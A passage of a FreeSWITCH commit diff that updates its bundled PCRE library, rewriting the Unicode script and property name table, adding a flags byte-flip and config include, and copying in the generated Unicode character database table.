+#define STRING_Deseret0 STR_D STR_e STR_s STR_e STR_r STR_e STR_t "\0"
+#define STRING_Devanagari0 STR_D STR_e STR_v STR_a STR_n STR_a STR_g STR_a STR_r STR_i "\0"
+#define STRING_Ethiopic0 STR_E STR_t STR_h STR_i STR_o STR_p STR_i STR_c "\0"
+#define STRING_Georgian0 STR_G STR_e STR_o STR_r STR_g STR_i STR_a STR_n "\0"
+#define STRING_Glagolitic0 STR_G STR_l STR_a STR_g STR_o STR_l STR_i STR_t STR_i STR_c "\0"
+#define STRING_Gothic0 STR_G STR_o STR_t STR_h STR_i STR_c "\0"
+#define STRING_Greek0 STR_G STR_r STR_e STR_e STR_k "\0"
+#define STRING_Gujarati0 STR_G STR_u STR_j STR_a STR_r STR_a STR_t STR_i "\0"
+#define STRING_Gurmukhi0 STR_G STR_u STR_r STR_m STR_u STR_k STR_h STR_i "\0"
+#define STRING_Han0 STR_H STR_a STR_n "\0"
+#define STRING_Hangul0 STR_H STR_a STR_n STR_g STR_u STR_l "\0"
+#define STRING_Hanunoo0 STR_H STR_a STR_n STR_u STR_n STR_o STR_o "\0"
+#define STRING_Hebrew0 STR_H STR_e STR_b STR_r STR_e STR_w "\0"
+#define STRING_Hiragana0 STR_H STR_i STR_r STR_a STR_g STR_a STR_n STR_a "\0"
+#define STRING_Inherited0 STR_I STR_n STR_h STR_e STR_r STR_i STR_t STR_e STR_d "\0"
+#define STRING_Kannada0 STR_K STR_a STR_n STR_n STR_a STR_d STR_a "\0"
+#define STRING_Katakana0 STR_K STR_a STR_t STR_a STR_k STR_a STR_n STR_a "\0"
+#define STRING_Kayah_Li0 STR_K STR_a STR_y STR_a STR_h STR_UNDERSCORE STR_L STR_i "\0"
+#define STRING_Kharoshthi0 STR_K STR_h STR_a STR_r STR_o STR_s STR_h STR_t STR_h STR_i "\0"
+#define STRING_Khmer0 STR_K STR_h STR_m STR_e STR_r "\0"
+#define STRING_L0 STR_L "\0"
+#define STRING_L_AMPERSAND0 STR_L STR_AMPERSAND "\0"
+#define STRING_Lao0 STR_L STR_a STR_o "\0"
+#define STRING_Latin0 STR_L STR_a STR_t STR_i STR_n "\0"
+#define STRING_Lepcha0 STR_L STR_e STR_p STR_c STR_h STR_a "\0"
+#define STRING_Limbu0 STR_L STR_i STR_m STR_b STR_u "\0"
+#define STRING_Linear_B0 STR_L STR_i STR_n STR_e STR_a STR_r STR_UNDERSCORE STR_B "\0"
+#define STRING_Ll0 STR_L STR_l "\0"
+#define STRING_Lm0 STR_L STR_m "\0"
+#define STRING_Lo0 STR_L STR_o "\0"
+#define STRING_Lt0 STR_L STR_t "\0"
+#define STRING_Lu0 STR_L STR_u "\0"
+#define STRING_Lycian0 STR_L STR_y STR_c STR_i STR_a STR_n "\0"
+#define STRING_Lydian0 STR_L STR_y STR_d STR_i STR_a STR_n "\0"
+#define STRING_M0 STR_M "\0"
+#define STRING_Malayalam0 STR_M STR_a STR_l STR_a STR_y STR_a STR_l STR_a STR_m "\0"
+#define STRING_Mc0 STR_M STR_c "\0"
+#define STRING_Me0 STR_M STR_e "\0"
+#define STRING_Mn0 STR_M STR_n "\0"
+#define STRING_Mongolian0 STR_M STR_o STR_n STR_g STR_o STR_l STR_i STR_a STR_n "\0"
+#define STRING_Myanmar0 STR_M STR_y STR_a STR_n STR_m STR_a STR_r "\0"
+#define STRING_N0 STR_N "\0"
+#define STRING_Nd0 STR_N STR_d "\0"
+#define STRING_New_Tai_Lue0 STR_N STR_e STR_w STR_UNDERSCORE STR_T STR_a STR_i STR_UNDERSCORE STR_L STR_u STR_e "\0"
+#define STRING_Nko0 STR_N STR_k STR_o "\0"
+#define STRING_Nl0 STR_N STR_l "\0"
+#define STRING_No0 STR_N STR_o "\0"
+#define STRING_Ogham0 STR_O STR_g STR_h STR_a STR_m "\0"
+#define STRING_Ol_Chiki0 STR_O STR_l STR_UNDERSCORE STR_C STR_h STR_i STR_k STR_i "\0"
+#define STRING_Old_Italic0 STR_O STR_l STR_d STR_UNDERSCORE STR_I STR_t STR_a STR_l STR_i STR_c "\0"
+#define STRING_Old_Persian0 STR_O STR_l STR_d STR_UNDERSCORE STR_P STR_e STR_r STR_s STR_i STR_a STR_n "\0"
+#define STRING_Oriya0 STR_O STR_r STR_i STR_y STR_a "\0"
+#define STRING_Osmanya0 STR_O STR_s STR_m STR_a STR_n STR_y STR_a "\0"
+#define STRING_P0 STR_P "\0"
+#define STRING_Pc0 STR_P STR_c "\0"
+#define STRING_Pd0 STR_P STR_d "\0"
+#define STRING_Pe0 STR_P STR_e "\0"
+#define STRING_Pf0 STR_P STR_f "\0"
+#define STRING_Phags_Pa0 STR_P STR_h STR_a STR_g STR_s STR_UNDERSCORE STR_P STR_a "\0"
+#define STRING_Phoenician0 STR_P STR_h STR_o STR_e STR_n STR_i STR_c STR_i STR_a STR_n "\0"
+#define STRING_Pi0 STR_P STR_i "\0"
+#define STRING_Po0 STR_P STR_o "\0"
+#define STRING_Ps0 STR_P STR_s "\0"
+#define STRING_Rejang0 STR_R STR_e STR_j STR_a STR_n STR_g "\0"
+#define STRING_Runic0 STR_R STR_u STR_n STR_i STR_c "\0"
+#define STRING_S0 STR_S "\0"
+#define STRING_Saurashtra0 STR_S STR_a STR_u STR_r STR_a STR_s STR_h STR_t STR_r STR_a "\0"
+#define STRING_Sc0 STR_S STR_c "\0"
+#define STRING_Shavian0 STR_S STR_h STR_a STR_v STR_i STR_a STR_n "\0"
+#define STRING_Sinhala0 STR_S STR_i STR_n STR_h STR_a STR_l STR_a "\0"
+#define STRING_Sk0 STR_S STR_k "\0"
+#define STRING_Sm0 STR_S STR_m "\0"
+#define STRING_So0 STR_S STR_o "\0"
+#define STRING_Sundanese0 STR_S STR_u STR_n STR_d STR_a STR_n STR_e STR_s STR_e "\0"
+#define STRING_Syloti_Nagri0 STR_S STR_y STR_l STR_o STR_t STR_i STR_UNDERSCORE STR_N STR_a STR_g STR_r STR_i "\0"
+#define STRING_Syriac0 STR_S STR_y STR_r STR_i STR_a STR_c "\0"
+#define STRING_Tagalog0 STR_T STR_a STR_g STR_a STR_l STR_o STR_g "\0"
+#define STRING_Tagbanwa0 STR_T STR_a STR_g STR_b STR_a STR_n STR_w STR_a "\0"
+#define STRING_Tai_Le0 STR_T STR_a STR_i STR_UNDERSCORE STR_L STR_e "\0"
+#define STRING_Tamil0 STR_T STR_a STR_m STR_i STR_l "\0"
+#define STRING_Telugu0 STR_T STR_e STR_l STR_u STR_g STR_u "\0"
+#define STRING_Thaana0 STR_T STR_h STR_a STR_a STR_n STR_a "\0"
+#define STRING_Thai0 STR_T STR_h STR_a STR_i "\0"
+#define STRING_Tibetan0 STR_T STR_i STR_b STR_e STR_t STR_a STR_n "\0"
+#define STRING_Tifinagh0 STR_T STR_i STR_f STR_i STR_n STR_a STR_g STR_h "\0"
+#define STRING_Ugaritic0 STR_U STR_g STR_a STR_r STR_i STR_t STR_i STR_c "\0"
+#define STRING_Vai0 STR_V STR_a STR_i "\0"
+#define STRING_Yi0 STR_Y STR_i "\0"
+#define STRING_Z0 STR_Z "\0"
+#define STRING_Zl0 STR_Z STR_l "\0"
+#define STRING_Zp0 STR_Z STR_p "\0"
+#define STRING_Zs0 STR_Z STR_s "\0"
+
+const char _pcre_utt_names[] =
+  STRING_Any0
+  STRING_Arabic0
+  STRING_Armenian0
+  STRING_Balinese0
+  STRING_Bengali0
+  STRING_Bopomofo0
+  STRING_Braille0
+  STRING_Buginese0
+  STRING_Buhid0
+  STRING_C0
+  STRING_Canadian_Aboriginal0
+  STRING_Carian0
+  STRING_Cc0
+  STRING_Cf0
+  STRING_Cham0
+  STRING_Cherokee0
+  STRING_Cn0
+  STRING_Co0
+  STRING_Common0
+  STRING_Coptic0
+  STRING_Cs0
+  STRING_Cuneiform0
+  STRING_Cypriot0
+  STRING_Cyrillic0
+  STRING_Deseret0
+  STRING_Devanagari0
+  STRING_Ethiopic0
+  STRING_Georgian0
+  STRING_Glagolitic0
+  STRING_Gothic0
+  STRING_Greek0
+  STRING_Gujarati0
+  STRING_Gurmukhi0
+  STRING_Han0
+  STRING_Hangul0
+  STRING_Hanunoo0
+  STRING_Hebrew0
+  STRING_Hiragana0
+  STRING_Inherited0
+  STRING_Kannada0
+  STRING_Katakana0
+  STRING_Kayah_Li0
+  STRING_Kharoshthi0
+  STRING_Khmer0
+  STRING_L0
+  STRING_L_AMPERSAND0
+  STRING_Lao0
+  STRING_Latin0
+  STRING_Lepcha0
+  STRING_Limbu0
+  STRING_Linear_B0
+  STRING_Ll0
+  STRING_Lm0
+  STRING_Lo0
+  STRING_Lt0
+  STRING_Lu0
+  STRING_Lycian0
+  STRING_Lydian0
+  STRING_M0
+  STRING_Malayalam0
+  STRING_Mc0
+  STRING_Me0
+  STRING_Mn0
+  STRING_Mongolian0
+  STRING_Myanmar0
+  STRING_N0
+  STRING_Nd0
+  STRING_New_Tai_Lue0
+  STRING_Nko0
+  STRING_Nl0
+  STRING_No0
+  STRING_Ogham0
+  STRING_Ol_Chiki0
+  STRING_Old_Italic0
+  STRING_Old_Persian0
+  STRING_Oriya0
+  STRING_Osmanya0
+  STRING_P0
+  STRING_Pc0
+  STRING_Pd0
+  STRING_Pe0
+  STRING_Pf0
+  STRING_Phags_Pa0
+  STRING_Phoenician0
+  STRING_Pi0
+  STRING_Po0
+  STRING_Ps0
+  STRING_Rejang0
+  STRING_Runic0
+  STRING_S0
+  STRING_Saurashtra0
+  STRING_Sc0
+  STRING_Shavian0
+  STRING_Sinhala0
+  STRING_Sk0
+  STRING_Sm0
+  STRING_So0
+  STRING_Sundanese0
+  STRING_Syloti_Nagri0
+  STRING_Syriac0
+  STRING_Tagalog0
+  STRING_Tagbanwa0
+  STRING_Tai_Le0
+  STRING_Tamil0
+  STRING_Telugu0
+  STRING_Thaana0
+  STRING_Thai0
+  STRING_Tibetan0
+  STRING_Tifinagh0
+  STRING_Ugaritic0
+  STRING_Vai0
+  STRING_Yi0
+  STRING_Z0
+  STRING_Zl0
+  STRING_Zp0
+  STRING_Zs0;
+
 const ucp_type_table _pcre_utt[] = {
-  { "Any",                 PT_ANY,  0 },
-  { "Arabic",              PT_SC,   ucp_Arabic },
-  { "Armenian",            PT_SC,   ucp_Armenian },
-  { "Bengali",             PT_SC,   ucp_Bengali },
-  { "Bopomofo",            PT_SC,   ucp_Bopomofo },
-  { "Braille",             PT_SC,   ucp_Braille },
-  { "Buginese",            PT_SC,   ucp_Buginese },
-  { "Buhid",               PT_SC,   ucp_Buhid },
-  { "C",                   PT_GC,   ucp_C },
-  { "Canadian_Aboriginal", PT_SC,   ucp_Canadian_Aboriginal },
-  { "Cc",                  PT_PC,   ucp_Cc },
-  { "Cf",                  PT_PC,   ucp_Cf },
-  { "Cherokee",            PT_SC,   ucp_Cherokee },
-  { "Cn",                  PT_PC,   ucp_Cn },
-  { "Co",                  PT_PC,   ucp_Co },
-  { "Common",              PT_SC,   ucp_Common },
-  { "Coptic",              PT_SC,   ucp_Coptic },
-  { "Cs",                  PT_PC,   ucp_Cs },
-  { "Cypriot",             PT_SC,   ucp_Cypriot },
-  { "Cyrillic",            PT_SC,   ucp_Cyrillic },
-  { "Deseret",             PT_SC,   ucp_Deseret },
-  { "Devanagari",          PT_SC,   ucp_Devanagari },
-  { "Ethiopic",            PT_SC,   ucp_Ethiopic },
-  { "Georgian",            PT_SC,   ucp_Georgian },
-  { "Glagolitic",          PT_SC,   ucp_Glagolitic },
-  { "Gothic",              PT_SC,   ucp_Gothic },
-  { "Greek",               PT_SC,   ucp_Greek },
-  { "Gujarati",            PT_SC,   ucp_Gujarati },
-  { "Gurmukhi",            PT_SC,   ucp_Gurmukhi },
-  { "Han",                 PT_SC,   ucp_Han },
-  { "Hangul",              PT_SC,   ucp_Hangul },
-  { "Hanunoo",             PT_SC,   ucp_Hanunoo },
-  { "Hebrew",              PT_SC,   ucp_Hebrew },
-  { "Hiragana",            PT_SC,   ucp_Hiragana },
-  { "Inherited",           PT_SC,   ucp_Inherited },
-  { "Kannada",             PT_SC,   ucp_Kannada },
-  { "Katakana",            PT_SC,   ucp_Katakana },
-  { "Kharoshthi",          PT_SC,   ucp_Kharoshthi },
-  { "Khmer",               PT_SC,   ucp_Khmer },
-  { "L",                   PT_GC,   ucp_L },
-  { "L&",                  PT_LAMP, 0 },
-  { "Lao",                 PT_SC,   ucp_Lao },
-  { "Latin",               PT_SC,   ucp_Latin },
-  { "Limbu",               PT_SC,   ucp_Limbu },
-  { "Linear_B",            PT_SC,   ucp_Linear_B },
-  { "Ll",                  PT_PC,   ucp_Ll },
-  { "Lm",                  PT_PC,   ucp_Lm },
-  { "Lo",                  PT_PC,   ucp_Lo },
-  { "Lt",                  PT_PC,   ucp_Lt },
-  { "Lu",                  PT_PC,   ucp_Lu },
-  { "M",                   PT_GC,   ucp_M },
-  { "Malayalam",           PT_SC,   ucp_Malayalam },
-  { "Mc",                  PT_PC,   ucp_Mc },
-  { "Me",                  PT_PC,   ucp_Me },
-  { "Mn",                  PT_PC,   ucp_Mn },
-  { "Mongolian",           PT_SC,   ucp_Mongolian },
-  { "Myanmar",             PT_SC,   ucp_Myanmar },
-  { "N",                   PT_GC,   ucp_N },
-  { "Nd",                  PT_PC,   ucp_Nd },
-  { "New_Tai_Lue",         PT_SC,   ucp_New_Tai_Lue },
-  { "Nl",                  PT_PC,   ucp_Nl },
-  { "No",                  PT_PC,   ucp_No },
-  { "Ogham",               PT_SC,   ucp_Ogham },
-  { "Old_Italic",          PT_SC,   ucp_Old_Italic },
-  { "Old_Persian",         PT_SC,   ucp_Old_Persian },
-  { "Oriya",               PT_SC,   ucp_Oriya },
-  { "Osmanya",             PT_SC,   ucp_Osmanya },
-  { "P",                   PT_GC,   ucp_P },
-  { "Pc",                  PT_PC,   ucp_Pc },
-  { "Pd",                  PT_PC,   ucp_Pd },
-  { "Pe",                  PT_PC,   ucp_Pe },
-  { "Pf",                  PT_PC,   ucp_Pf },
-  { "Pi",                  PT_PC,   ucp_Pi },
-  { "Po",                  PT_PC,   ucp_Po },
-  { "Ps",                  PT_PC,   ucp_Ps },
-  { "Runic",               PT_SC,   ucp_Runic },
-  { "S",                   PT_GC,   ucp_S },
-  { "Sc",                  PT_PC,   ucp_Sc },
-  { "Shavian",             PT_SC,   ucp_Shavian },
-  { "Sinhala",             PT_SC,   ucp_Sinhala },
-  { "Sk",                  PT_PC,   ucp_Sk },
-  { "Sm",                  PT_PC,   ucp_Sm },
-  { "So",                  PT_PC,   ucp_So },
-  { "Syloti_Nagri",        PT_SC,   ucp_Syloti_Nagri },
-  { "Syriac",              PT_SC,   ucp_Syriac },
-  { "Tagalog",             PT_SC,   ucp_Tagalog },
-  { "Tagbanwa",            PT_SC,   ucp_Tagbanwa },
-  { "Tai_Le",              PT_SC,   ucp_Tai_Le },
-  { "Tamil",               PT_SC,   ucp_Tamil },
-  { "Telugu",              PT_SC,   ucp_Telugu },
-  { "Thaana",              PT_SC,   ucp_Thaana },
-  { "Thai",                PT_SC,   ucp_Thai },
-  { "Tibetan",             PT_SC,   ucp_Tibetan },
-  { "Tifinagh",            PT_SC,   ucp_Tifinagh },
-  { "Ugaritic",            PT_SC,   ucp_Ugaritic },
-  { "Yi",                  PT_SC,   ucp_Yi },
-  { "Z",                   PT_GC,   ucp_Z },
-  { "Zl",                  PT_PC,   ucp_Zl },
-  { "Zp",                  PT_PC,   ucp_Zp },
-  { "Zs",                  PT_PC,   ucp_Zs }
+  {   0, PT_ANY, 0 },
+  {   4, PT_SC, ucp_Arabic },
+  {  11, PT_SC, ucp_Armenian },
+  {  20, PT_SC, ucp_Balinese },
+  {  29, PT_SC, ucp_Bengali },
+  {  37, PT_SC, ucp_Bopomofo },
+  {  46, PT_SC, ucp_Braille },
+  {  54, PT_SC, ucp_Buginese },
+  {  63, PT_SC, ucp_Buhid },
+  {  69, PT_GC, ucp_C },
+  {  71, PT_SC, ucp_Canadian_Aboriginal },
+  {  91, PT_SC, ucp_Carian },
+  {  98, PT_PC, ucp_Cc },
+  { 101, PT_PC, ucp_Cf },
+  { 104, PT_SC, ucp_Cham },
+  { 109, PT_SC, ucp_Cherokee },
+  { 118, PT_PC, ucp_Cn },
+  { 121, PT_PC, ucp_Co },
+  { 124, PT_SC, ucp_Common },
+  { 131, PT_SC, ucp_Coptic },
+  { 138, PT_PC, ucp_Cs },
+  { 141, PT_SC, ucp_Cuneiform },
+  { 151, PT_SC, ucp_Cypriot },
+  { 159, PT_SC, ucp_Cyrillic },
+  { 168, PT_SC, ucp_Deseret },
+  { 176, PT_SC, ucp_Devanagari },
+  { 187, PT_SC, ucp_Ethiopic },
+  { 196, PT_SC, ucp_Georgian },
+  { 205, PT_SC, ucp_Glagolitic },
+  { 216, PT_SC, ucp_Gothic },
+  { 223, PT_SC, ucp_Greek },
+  { 229, PT_SC, ucp_Gujarati },
+  { 238, PT_SC, ucp_Gurmukhi },
+  { 247, PT_SC, ucp_Han },
+  { 251, PT_SC, ucp_Hangul },
+  { 258, PT_SC, ucp_Hanunoo },
+  { 266, PT_SC, ucp_Hebrew },
+  { 273, PT_SC, ucp_Hiragana },
+  { 282, PT_SC, ucp_Inherited },
+  { 292, PT_SC, ucp_Kannada },
+  { 300, PT_SC, ucp_Katakana },
+  { 309, PT_SC, ucp_Kayah_Li },
+  { 318, PT_SC, ucp_Kharoshthi },
+  { 329, PT_SC, ucp_Khmer },
+  { 335, PT_GC, ucp_L },
+  { 337, PT_LAMP, 0 },
+  { 340, PT_SC, ucp_Lao },
+  { 344, PT_SC, ucp_Latin },
+  { 350, PT_SC, ucp_Lepcha },
+  { 357, PT_SC, ucp_Limbu },
+  { 363, PT_SC, ucp_Linear_B },
+  { 372, PT_PC, ucp_Ll },
+  { 375, PT_PC, ucp_Lm },
+  { 378, PT_PC, ucp_Lo },
+  { 381, PT_PC, ucp_Lt },
+  { 384, PT_PC, ucp_Lu },
+  { 387, PT_SC, ucp_Lycian },
+  { 394, PT_SC, ucp_Lydian },
+  { 401, PT_GC, ucp_M },
+  { 403, PT_SC, ucp_Malayalam },
+  { 413, PT_PC, ucp_Mc },
+  { 416, PT_PC, ucp_Me },
+  { 419, PT_PC, ucp_Mn },
+  { 422, PT_SC, ucp_Mongolian },
+  { 432, PT_SC, ucp_Myanmar },
+  { 440, PT_GC, ucp_N },
+  { 442, PT_PC, ucp_Nd },
+  { 445, PT_SC, ucp_New_Tai_Lue },
+  { 457, PT_SC, ucp_Nko },
+  { 461, PT_PC, ucp_Nl },
+  { 464, PT_PC, ucp_No },
+  { 467, PT_SC, ucp_Ogham },
+  { 473, PT_SC, ucp_Ol_Chiki },
+  { 482, PT_SC, ucp_Old_Italic },
+  { 493, PT_SC, ucp_Old_Persian },
+  { 505, PT_SC, ucp_Oriya },
+  { 511, PT_SC, ucp_Osmanya },
+  { 519, PT_GC, ucp_P },
+  { 521, PT_PC, ucp_Pc },
+  { 524, PT_PC, ucp_Pd },
+  { 527, PT_PC, ucp_Pe },
+  { 530, PT_PC, ucp_Pf },
+  { 533, PT_SC, ucp_Phags_Pa },
+  { 542, PT_SC, ucp_Phoenician },
+  { 553, PT_PC, ucp_Pi },
+  { 556, PT_PC, ucp_Po },
+  { 559, PT_PC, ucp_Ps },
+  { 562, PT_SC, ucp_Rejang },
+  { 569, PT_SC, ucp_Runic },
+  { 575, PT_GC, ucp_S },
+  { 577, PT_SC, ucp_Saurashtra },
+  { 588, PT_PC, ucp_Sc },
+  { 591, PT_SC, ucp_Shavian },
+  { 599, PT_SC, ucp_Sinhala },
+  { 607, PT_PC, ucp_Sk },
+  { 610, PT_PC, ucp_Sm },
+  { 613, PT_PC, ucp_So },
+  { 616, PT_SC, ucp_Sundanese },
+  { 626, PT_SC, ucp_Syloti_Nagri },
+  { 639, PT_SC, ucp_Syriac },
+  { 646, PT_SC, ucp_Tagalog },
+  { 654, PT_SC, ucp_Tagbanwa },
+  { 663, PT_SC, ucp_Tai_Le },
+  { 670, PT_SC, ucp_Tamil },
+  { 676, PT_SC, ucp_Telugu },
+  { 683, PT_SC, ucp_Thaana },
+  { 690, PT_SC, ucp_Thai },
+  { 695, PT_SC, ucp_Tibetan },
+  { 703, PT_SC, ucp_Tifinagh },
+  { 712, PT_SC, ucp_Ugaritic },
+  { 721, PT_SC, ucp_Vai },
+  { 725, PT_SC, ucp_Yi },
+  { 728, PT_GC, ucp_Z },
+  { 730, PT_PC, ucp_Zl },
+  { 733, PT_PC, ucp_Zp },
+  { 736, PT_PC, ucp_Zs }
 };
 
 const int _pcre_utt_size = sizeof(_pcre_utt)/sizeof(ucp_type_table);
 
+#endif  /* SUPPORT_UTF8 */
+
 /* End of pcre_tables.c */

Modified: freeswitch/branches/seven/libs/pcre/pcre_try_flipped.c (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_try_flipped.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/pcre_try_flipped.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,7 +6,7 @@
 and semantics are as close as possible to those of the Perl 5 language.
 
                        Written by Philip Hazel
-           Copyright (c) 1997-2006 University of Cambridge
+           Copyright (c) 1997-2008 University of Cambridge
 
 -----------------------------------------------------------------------------
 Redistribution and use in source and binary forms, with or without
@@ -43,6 +43,10 @@
 auxiliary local function to flip the appropriate bytes. */
 
 
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
 #include "pcre_internal.h"
 
 
@@ -104,6 +108,7 @@
 *internal_re = *re;           /* To copy other fields */
 internal_re->size = byteflip(re->size, sizeof(re->size));
 internal_re->options = byteflip(re->options, sizeof(re->options));
+internal_re->flags = (pcre_uint16)byteflip(re->flags, sizeof(re->flags));
 internal_re->top_bracket =
   (pcre_uint16)byteflip(re->top_bracket, sizeof(re->top_bracket));
 internal_re->top_backref =

Copied: freeswitch/branches/seven/libs/pcre/pcre_ucd.c (from rev 14471, freeswitch/trunk/libs/pcre/pcre_ucd.c) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/pcre_ucd.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/pcre_ucd.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2610 @@
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+#include "pcre_internal.h"
+
+/* Unicode character database. */
+/* This file was autogenerated by the MultiStage2.py script. */
+/* Total size: 52808 bytes, block size: 128. */
+/* When recompiling tables with a new Unicode version,
+please check types in the structure definition from pcre_internal.h:
+typedef struct {
+uschar property_0;
+uschar property_1;
+pcre_int32 property_2;
+} ucd_record; */
+
+
+const ucd_record _pcre_ucd_records[] = { /* 3656 bytes, record size 8 */
+  {     9,      0,      0, }, /*   0 */
+  {     9,     29,      0, }, /*   1 */
+  {     9,     21,      0, }, /*   2 */
+  {     9,     23,      0, }, /*   3 */
+  {     9,     22,      0, }, /*   4 */
+  {     9,     18,      0, }, /*   5 */
+  {     9,     25,      0, }, /*   6 */
+  {     9,     17,      0, }, /*   7 */
+  {     9,     13,      0, }, /*   8 */
+  {    33,      9,     32, }, /*   9 */
+  {     9,     24,      0, }, /*  10 */
+  {     9,     16,      0, }, /*  11 */
+  {    33,      5,    -32, }, /*  12 */
+  {     9,     26,      0, }, /*  13 */
+  {    33,      5,      0, }, /*  14 */
+  {     9,     20,      0, }, /*  15 */
+  {     9,      1,      0, }, /*  16 */
+  {     9,     15,      0, }, /*  17 */
+  {     9,      5,    743, }, /*  18 */
+  {     9,     19,      0, }, /*  19 */
+  {    33,      5,    121, }, /*  20 */
+  {    33,      9,      1, }, /*  21 */
+  {    33,      5,     -1, }, /*  22 */
+  {    33,      9,   -199, }, /*  23 */
+  {    33,      5,   -232, }, /*  24 */
+  {    33,      9,   -121, }, /*  25 */
+  {    33,      5,   -300, }, /*  26 */
+  {    33,      5,    195, }, /*  27 */
+  {    33,      9,    210, }, /*  28 */
+  {    33,      9,    206, }, /*  29 */
+  {    33,      9,    205, }, /*  30 */
+  {    33,      9,     79, }, /*  31 */
+  {    33,      9,    202, }, /*  32 */
+  {    33,      9,    203, }, /*  33 */
+  {    33,      9,    207, }, /*  34 */
+  {    33,      5,     97, }, /*  35 */
+  {    33,      9,    211, }, /*  36 */
+  {    33,      9,    209, }, /*  37 */
+  {    33,      5,    163, }, /*  38 */
+  {    33,      9,    213, }, /*  39 */
+  {    33,      5,    130, }, /*  40 */
+  {    33,      9,    214, }, /*  41 */
+  {    33,      9,    218, }, /*  42 */
+  {    33,      9,    217, }, /*  43 */
+  {    33,      9,    219, }, /*  44 */
+  {    33,      7,      0, }, /*  45 */
+  {    33,      5,     56, }, /*  46 */
+  {    33,      9,      2, }, /*  47 */
+  {    33,      8,     -1, }, /*  48 */
+  {    33,      5,     -2, }, /*  49 */
+  {    33,      5,    -79, }, /*  50 */
+  {    33,      9,    -97, }, /*  51 */
+  {    33,      9,    -56, }, /*  52 */
+  {    33,      9,   -130, }, /*  53 */
+  {    33,      9,  10795, }, /*  54 */
+  {    33,      9,   -163, }, /*  55 */
+  {    33,      9,  10792, }, /*  56 */
+  {    33,      9,   -195, }, /*  57 */
+  {    33,      9,     69, }, /*  58 */
+  {    33,      9,     71, }, /*  59 */
+  {    33,      5,  10783, }, /*  60 */
+  {    33,      5,  10780, }, /*  61 */
+  {    33,      5,   -210, }, /*  62 */
+  {    33,      5,   -206, }, /*  63 */
+  {    33,      5,   -205, }, /*  64 */
+  {    33,      5,   -202, }, /*  65 */
+  {    33,      5,   -203, }, /*  66 */
+  {    33,      5,   -207, }, /*  67 */
+  {    33,      5,   -209, }, /*  68 */
+  {    33,      5,   -211, }, /*  69 */
+  {    33,      5,  10743, }, /*  70 */
+  {    33,      5,  10749, }, /*  71 */
+  {    33,      5,   -213, }, /*  72 */
+  {    33,      5,   -214, }, /*  73 */
+  {    33,      5,  10727, }, /*  74 */
+  {    33,      5,   -218, }, /*  75 */
+  {    33,      5,    -69, }, /*  76 */
+  {    33,      5,   -217, }, /*  77 */
+  {    33,      5,    -71, }, /*  78 */
+  {    33,      5,   -219, }, /*  79 */
+  {    33,      6,      0, }, /*  80 */
+  {     9,      6,      0, }, /*  81 */
+  {    27,     12,      0, }, /*  82 */
+  {    27,     12,     84, }, /*  83 */
+  {    19,      9,      1, }, /*  84 */
+  {    19,      5,     -1, }, /*  85 */
+  {    19,     24,      0, }, /*  86 */
+  {     9,      2,      0, }, /*  87 */
+  {    19,      6,      0, }, /*  88 */
+  {    19,      5,    130, }, /*  89 */
+  {    19,      9,     38, }, /*  90 */
+  {    19,      9,     37, }, /*  91 */
+  {    19,      9,     64, }, /*  92 */
+  {    19,      9,     63, }, /*  93 */
+  {    19,      5,      0, }, /*  94 */
+  {    19,      9,     32, }, /*  95 */
+  {    19,      5,    -38, }, /*  96 */
+  {    19,      5,    -37, }, /*  97 */
+  {    19,      5,    -32, }, /*  98 */
+  {    19,      5,    -31, }, /*  99 */
+  {    19,      5,    -64, }, /* 100 */
+  {    19,      5,    -63, }, /* 101 */
+  {    19,      9,      8, }, /* 102 */
+  {    19,      5,    -62, }, /* 103 */
+  {    19,      5,    -57, }, /* 104 */
+  {    19,      9,      0, }, /* 105 */
+  {    19,      5,    -47, }, /* 106 */
+  {    19,      5,    -54, }, /* 107 */
+  {    19,      5,     -8, }, /* 108 */
+  {    10,      9,      1, }, /* 109 */
+  {    10,      5,     -1, }, /* 110 */
+  {    19,      5,    -86, }, /* 111 */
+  {    19,      5,    -80, }, /* 112 */
+  {    19,      5,      7, }, /* 113 */
+  {    19,      9,    -60, }, /* 114 */
+  {    19,      5,    -96, }, /* 115 */
+  {    19,     25,      0, }, /* 116 */
+  {    19,      9,     -7, }, /* 117 */
+  {    19,      9,   -130, }, /* 118 */
+  {    12,      9,     80, }, /* 119 */
+  {    12,      9,     32, }, /* 120 */
+  {    12,      5,    -32, }, /* 121 */
+  {    12,      5,    -80, }, /* 122 */
+  {    12,      9,      1, }, /* 123 */
+  {    12,      5,     -1, }, /* 124 */
+  {    12,     26,      0, }, /* 125 */
+  {    12,     12,      0, }, /* 126 */
+  {    12,     11,      0, }, /* 127 */
+  {    12,      9,     15, }, /* 128 */
+  {    12,      5,    -15, }, /* 129 */
+  {     1,      9,     48, }, /* 130 */
+  {     1,      6,      0, }, /* 131 */
+  {     1,     21,      0, }, /* 132 */
+  {     1,      5,    -48, }, /* 133 */
+  {     1,      5,      0, }, /* 134 */
+  {     1,     17,      0, }, /* 135 */
+  {    25,     12,      0, }, /* 136 */
+  {    25,     17,      0, }, /* 137 */
+  {    25,     21,      0, }, /* 138 */
+  {    25,      7,      0, }, /* 139 */
+  {     0,     25,      0, }, /* 140 */
+  {     0,     21,      0, }, /* 141 */
+  {     0,     23,      0, }, /* 142 */
+  {     0,     26,      0, }, /* 143 */
+  {     0,     12,      0, }, /* 144 */
+  {     0,      7,      0, }, /* 145 */
+  {     0,     11,      0, }, /* 146 */
+  {     0,      6,      0, }, /* 147 */
+  {     0,     13,      0, }, /* 148 */
+  {    49,     21,      0, }, /* 149 */
+  {    49,      1,      0, }, /* 150 */
+  {    49,      7,      0, }, /* 151 */
+  {    49,     12,      0, }, /* 152 */
+  {    55,      7,      0, }, /* 153 */
+  {    55,     12,      0, }, /* 154 */
+  {    63,     13,      0, }, /* 155 */
+  {    63,      7,      0, }, /* 156 */
+  {    63,     12,      0, }, /* 157 */
+  {    63,      6,      0, }, /* 158 */
+  {    63,     26,      0, }, /* 159 */
+  {    63,     21,      0, }, /* 160 */
+  {    14,     12,      0, }, /* 161 */
+  {    14,     10,      0, }, /* 162 */
+  {    14,      7,      0, }, /* 163 */
+  {    14,     13,      0, }, /* 164 */
